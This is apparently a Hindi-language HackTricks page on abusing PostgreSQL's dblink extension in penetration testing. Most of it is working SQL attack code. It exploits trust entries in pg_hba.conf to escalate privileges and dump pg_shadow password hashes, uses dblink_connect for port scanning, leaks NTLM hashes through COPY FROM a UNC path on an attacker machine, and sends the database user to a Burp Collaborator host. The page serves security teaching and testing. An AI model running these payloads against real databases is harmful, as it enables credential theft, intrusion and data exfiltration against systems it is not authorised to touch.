नेटवर्क - प्रिवेस्क, पोर्ट स्कैनर और NTLM चुनौती प्रतिक्रिया प्रकटीकरण

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

जानें इन हमलों के बारे में अधिक जानकारी मूल पत्र में.

चूंकि PostgreSQL 9.1 से, अतिरिक्त मॉड्यूल की स्थापना सरल है। पंजीकृत एक्सटेंशन जैसे dblink को CREATE EXTENSION के साथ स्थापित किया जा सकता है:

sql
CREATE EXTENSION dblink;

एक बार जब आप dblink लोड कर लेते हैं, तो आप कुछ दिलचस्प ट्रिक्स करने में सक्षम हो सकते हैं:

विशेषाधिकार वृद्धि

फाइल pg_hba.conf खराब तरीके से कॉन्फ़िगर की जा सकती है कनेक्शनों की अनुमति देते हुए localhost से किसी भी उपयोगकर्ता के रूप में बिना पासवर्ड जाने। यह फाइल आमतौर पर /etc/postgresql/12/main/pg_hba.conf में पाई जा सकती है और एक खराब कॉन्फ़िगरेशन इस तरह दिखती है:

local    all    all    trust

ध्यान दें कि यह कॉन्फ़िगरेशन आमतौर पर तब उपयोग किया जाता है जब व्यवस्थापक पासवर्ड भूल जाता है, इसलिए कभी-कभी आप इसे पा सकते हैं।
यह भी ध्यान दें कि फ़ाइल pg_hba.conf केवल postgres उपयोगकर्ता और समूह द्वारा पढ़ी जा सकती है और केवल postgres उपयोगकर्ता द्वारा लिखी जा सकती है।

यह मामला उपयोगी है यदि आपके पास शेल पहले से ही पीड़ित के अंदर है क्योंकि यह आपको postgresql डेटाबेस से कनेक्ट करने की अनुमति देगा।

एक और संभावित गलत कॉन्फ़िगरेशन इस तरह की कुछ चीज़ों पर आधारित है:

host    all     all     127.0.0.1/32    trust

यह सभी को लोकलहोस्ट से किसी भी उपयोगकर्ता के रूप में डेटाबेस से कनेक्ट करने की अनुमति देगा।
इस मामले में और यदि dblink फ़ंक्शन काम कर रहा है, तो आप पहले से स्थापित कनेक्शन के माध्यम से डेटाबेस से कनेक्ट करके अधिकार बढ़ा सकते हैं और उन डेटा तक पहुँच प्राप्त कर सकते हैं जिन्हें पहुँच नहीं होनी चाहिए:

sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

dblink_connect का दुरुपयोग करते हुए आप खुले पोर्ट्स की भी खोज कर सकते हैं। यदि वह **फंक्शन काम नहीं करता है, तो आपको dblink_connect_u() का उपयोग करने की कोशिश करनी चाहिए क्योंकि दस्तावेज़ में कहा गया है कि dblink_connect_u() dblink_connect() के समान है, सिवाय इसके कि यह गैर-सुपरयूजर्स को किसी भी प्रमाणीकरण विधि का उपयोग करके कनेक्ट करने की अनुमति देगा।

sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

ध्यान दें कि dblink_connect या dblink_connect_u का उपयोग करने से पहले आपको निम्नलिखित निष्पादित करने की आवश्यकता हो सकती है:

CREATE extension dblink;

UNC पथ - NTLM हैश लीक

sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें